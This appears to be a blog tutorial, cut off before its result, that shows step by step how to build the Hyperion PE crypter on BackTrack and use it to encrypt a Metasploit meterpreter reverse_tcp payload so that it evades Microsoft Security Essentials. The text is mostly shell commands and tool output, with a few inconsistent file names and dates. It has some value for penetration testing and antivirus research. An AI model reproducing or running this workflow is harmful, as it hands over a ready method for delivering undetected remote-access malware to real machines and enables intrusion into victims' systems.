PE Crypters (Hyperion)
I recently watched a presentation that rel1k gave at bSides Cleveland 2012, in which he revealed some of his top secret antivirus bypass techniques. He quickly explained and demonstrated Binary Droppers, Shellcodeexec, Powershell injection, modifying Metasploit payload templates, and PE crypters. This last one caught my attention, as I hadn’t heard of it before. The PE crypter that he demonstrated is called Hyperion, by nullsecurity. It works somewhat like a PE Packer, but instead of scrambling the payload and encapsulating it with explicit instructions on how to descramble it, the payload is encrypted and encapsulated with a weak 128-bit AES key, which is simply brute forced at the time of execution. Let’s try it out. Only the source files are made available, so we’ll have to compile it ourselves. Luckily, BackTrack provides the tools need to cross-compile executables.
1. root@bt:/opt# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip 2. root@bt:/opt# unzip Hyperion-1.0.zip 3. root@bt:/opt# cd Hyperion-1.0 4. root@bt:/opt/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe 5. root@bt:/opt/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2013-07-18 17:52 crypter.exe
Now that we have our Hyperion crypter executable. Let’s create a Metasploit payload.
6. root@bt:/opt/Hyperion-1.0# msfpayload windows/meterpreter/reverse_tcp
LHOST=(your ip e.g.: 192.168.0.100) LPORT=4444 x > Test.exe 7. root@bt:/opt/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2013-07-18 17:53 crypter.exe -rw-r--r-- 1 root root 73802 2013-07-18 16:53 Test.exe
Before we encrypt our payload, let’s see if Microsoft Security Essentials (MSE) detects anything.
As you can see, MSE detected our payload as “Trojan:Win32/Swrort.A”. That’s no good, but that’s what Hyperion is supposed to help us get around. So, let’s try encrypting our payload.
8. root@bt:/opt/Hyperion-1.0# wine crypter.exe payload.exe encrypted_Test.exe Opening Test.exe Copied file to memory: 0x115818 Found valid MZ signature Found pointer to PE Header: 0xe8 Found valid PE signature Found a PE32 file Number of Data Directories: 16 Image Base: 0x400000 Found Section: .text VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000 Found Section: .rdata VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000 Found Section: .data VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000 Found Section: .rsrc VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000 Input file size + Checksum: 0x1204e Rounded up to a multiple of key size: 0x12050 Generated Checksum: 0x5e921e Generated Encryption Key: 0x2 0x3 0x0 0x3 0x0 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 Written encrypted input file as fasm array to: -> Src\FasmContainer32\infile.asm Written input file's image base to: -> Src\FasmContainer32\imagebase.asm Written input file's image size to: -> Src\FasmContainer32\sizeofimage.asm Written keysize to: -> Src\FasmContainer32\keysize.inc Starting FASM with the following parameters: Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_Test.exe FASM Working Directory: Z:\root\Hyperion-1.0 Executing fasm.exe 9. root@bt:/opt/Hyperion-1.0# flat assembler version 1.69.31 (1310719 kilobytes memory) 5 passes, 0.5 seconds, 92672 bytes. 10. root@bt:/opt/Hyperion-1.0# ls -l *.exe -rwxr-xr-x 1 root root 580396 2012-07-29 16:05 crypter.exe -rwxr-xr-x 1 root root 92672 2012-08-02 16:53 encrypted_Test.exe -rw-r--r-- 1 root root 73802 2012-07-29 16:13 Test.exe
And if we copy our encrypted payload to our Windows host…